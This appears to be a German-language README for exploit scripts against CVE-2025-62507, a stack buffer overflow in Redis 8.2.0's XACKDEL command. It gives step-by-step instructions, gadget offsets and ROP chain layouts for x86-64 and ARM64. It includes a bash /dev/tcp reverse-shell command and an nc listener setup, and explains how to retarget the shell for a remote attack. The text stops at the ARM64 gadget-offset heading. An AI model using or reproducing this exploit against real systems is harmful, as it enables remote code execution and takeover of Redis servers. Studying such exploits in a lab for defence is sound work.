Exploit-Skripte — CVE-2025-62507

Verzeichnisstruktur

scripts/
├── exploit_x86.py          # x86-64 ROP exploit
├── exploit_arm64.py        # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh     # GDB-Debugging-Hilfsskript

---

Schwachstellenübersicht

Element	Beschreibung
CVE	CVE-2025-62507
Schwachstellentyp	Stack-Pufferüberlauf (Stack Buffer Overflow)
Betroffene Komponente	Redis-8.2.0-Funktion xackdelCommand
Auslöser	XACKDEL-Befehl mit über 52 streamIDs
Ausnutzungstechnik	ROP-Kette → mprotect entsperrt die Stack-Ausführungsberechtigung → Shellcode-Reverse-Shell
Abhängigkeiten	Python 3 (nur Standardbibliothek, keine zusätzliche Installation erforderlich)

---

Voraussetzungen

1. Zielumgebung: Docker-Container oder Host mit Redis 8.2.0 (verwundbare Version)
2. Listener-Terminal: Auf dem Angreifer-Rechner muss vorab nc -lvnp 4444 gestartet werden, um die Reverse-Shell zu empfangen
3. Berechtigung zum Auslesen von Adressen: Zugriff auf /proc/<PID>/maps des Zielprozesses erforderlich (root-Rechte)
4. Python 3: Beide Exploit-Skripte verwenden nur die Standardbibliothek (socket, struct, time, sys)

---

Schnellstart

1. Verwundbaren Redis-Container starten

# Im Projektstammverzeichnis ausführen
docker compose -f docker-compose-vulnerable.yml up -d

# Prüfen, dass der Container läuft
docker ps | grep redis-cve-2025-62507

2. Kritische Speicheradressen ermitteln

REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# x86-64-Adressen ermitteln
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)

echo "REDIS_BASE=$REDIS_BASE  LIBC_BASE=$LIBC_BASE  STACK_ADDR=$STACK_ADDR"

Hinweis: Nach jedem Container-Neustart ändern sich die Adressen (ASLR) und müssen erneut ermittelt werden.

3. Reverse-Shell-Listener starten

# In einem weiteren Terminal auf dem Host
nc -lvnp 4444

4. Exploit ausführen

# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR

# ARM64 (feste Adressen unter Docker QEMU, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]

---

exploit_x86.py — x86-64 ROP-Exploit

Verwendung

python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>

Parameter

Parameter	Bedeutung	Ermittlung	Beispielwert
redis_base	Basisadresse der redis-server-ELF	Startadresse des ersten redis-server-Eintrags in /proc/PID/maps	0x555555554000
libc_base	Basisadresse von libc.so.6	Startadresse des ersten libc.so-Eintrags in /proc/PID/maps	0x7ffff75b3000
stack_addr	Startadresse des Thread-Stack-Segments	Startadresse des [stack]-Segments in /proc/PID/maps	0x7ffffffde000

ROP-Ketten-Architektur

52 Füll-IDs (1-1)
  │
  ▼
ID#53  Overflow ──→ pop rdi; ret     (redis + 0x82327)
ID#54             ──→ pop rsi; ret     (redis + 0x86416)
ID#55             ──→ pop rdx; ret     (redis + 0xba1e2)
ID#56             ──→ mprotect()       (libc  + 0x1019e0)
ID#57             ──→ call rsp         (redis + 0x9486d)
ID#58+            ──→ Shellcode ──→ system("/bin/bash -c '...'")

Gadget-Offsets (redis-server-8.2.0)

Gadget	Offset	Beschreibung
pop rdi; ret	0x82327	Setzt den 1. Parameter von mprotect (addr)
pop rsi; ret	0x86416	Setzt den 2. Parameter von mprotect (len)
pop rdx; ret	0xba1e2	Setzt den 3. Parameter von mprotect (prot)
call rsp	0x9486d	Springt zum Shellcode auf dem Stack
mprotect (libc)	0x1019e0	Setzt die Stack-Seiten auf RWX
system (libc)	0x4c490	Führt den Reverse-Shell-Befehl aus

Benutzerdefinierte Reverse-Shell-Adresse

Die Variable reverse_shell_cmd ist in Zeile 149 des Skripts definiert und lautet standardmäßig:

reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

Ändern: Bearbeite exploit_x86.py, suche die Zeile reverse_shell_cmd und ersetze IP und Port:

Szenario	IP	Beschreibung
Docker-host-Netzwerk (Standard)	127.0.0.1	Container und Host teilen sich den Netzwerk-Stack; 127.0.0.1 entspricht dem Host
Docker-bridge-Netzwerk	172.17.0.1	Standard-Bridge-Gateway, zeigt auf den Host
Remote-Angriff	<öffentliche IP des Angreifers>	Das Ziel muss den entsprechenden Port des Angreifers erreichen können

Port ändern: Ersetze in /dev/tcp/<IP>/4444 die 4444 durch den tatsächlich lauschenden Port.

stack_page wird dynamisch aus dem Parameter stack_addr berechnet: (stack_addr + 0x1000) & ~0xFFF, damit das mprotect-Fenster den Stack-Bereich abdeckt, in dem der Shellcode liegt. Bei ungewöhnlichem Stack-Layout muss dies entsprechend angepasst werden.

---

exploit_arm64.py — ARM64 ROP-Exploit

Verwendung

python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]

Parameter

Parameter	Bedeutung	Ermittlung	Beispielwert
redis_base	Basisadresse der redis-server-8.2.0-arm64-ELF	Startadresse des ersten redis-server-Eintrags in /proc/PID/maps	0xaaaaaaaa0000
libc_base	Basisadresse von libc.so.6-arm64	Startadresse des ersten libc.so-Eintrags in /proc/PID/maps	0xfffff7630000
stack_addr	SP-Wert am Eintritt von xackdelCommand (aus der GDB-Analyse)	SP am xackdelCommand-Eintritt per GDB-Breakpoint beobachten	0xfffffffff7e0
rev_host	(optional) IP des Angreifers für die Reverse-Shell	—	192.168.1.1
rev_port	(optional) Port des Reverse-Shell-Listeners	—	4444
target	(optional) Ziel-IP von Redis	—	192.168.1.129

ARM64-Hinweis: stack_addr ist der SP-Wert beim Eintritt in xackdelCommand (nicht die Startadresse des [stack]-Segments!). static_ids[0] = stack_addr - 0x310, das gespeicherte x30 von call() liegt bei stack_addr + 8 (also static_ids[49].seq).

ROP-Ketten-Architektur

49 Füll-IDs (1-1)
  │
  ▼
ID#49-58  call()-Epilog-Frame (10 IDs) — überschreibt die von call() gespeicherten Register und lokalen Variablen
  │  #49: gespeichertes x29 (Dummy) + x30 (G5)
  │  #50: gespeichertes x19/x20, #51: gespeichertes x21(=0)/x22
  │  #52: x23/x24, #53: x25/x26, #54: x27/x28
  │  #55-58: lokale Variablen (auf 0 gesetzt)
  │
  ▼  call() ret → SP = stack_addr + 0xa0
  │
ID#59-61  Step 1: G5              (redis + 0x1a4d40)  x0=writable,    → G_SET_X2_7
ID#62-65  Step 2: G_SET_X2_7      (redis + 0x1d7a84)  w2=7,           → LDR_X1_SIDELOAD
ID#66-67  Step 3: LDR_X1_SIDELOAD (libc  + 0x34ab4)   x1=0x1000,      → G5
ID#68-70  Step 4: G5              (redis + 0x1a4d40)  x19=mprotect,   → MOV_X3_X19
ID#71-93  Step 5: MOV_X3_X19      (redis + 0x2948b0)  x3=mprotect,    → LDR_X0_CLEAN
ID#94-95  Step 6: LDR_X0_CLEAN    (libc  + 0x6ae40)   x0=stack_page,  → BLR_X3
ID#96-98  Step 7: BLR_X3          (redis + 0x92bc4)   call mprotect   → Shellcode
ID#99+    Shellcode — system("/bin/bash -c 'reverse_shell_cmd'")

Wichtig: Der Epilog von call() stellt vor ret die Register x19–x28 vom Stack wieder her und liest mehrere lokale Variablen. ID#49–58 müssen mit sicheren Werten gefüllt werden, da der Epilog sonst während der Ausführung abstürzt. Die ROP-Kette beginnt bei ID#59 (SP-Position nach dem ret von call()).

Gadget-Offsets (redis-server-8.2.0-arm64)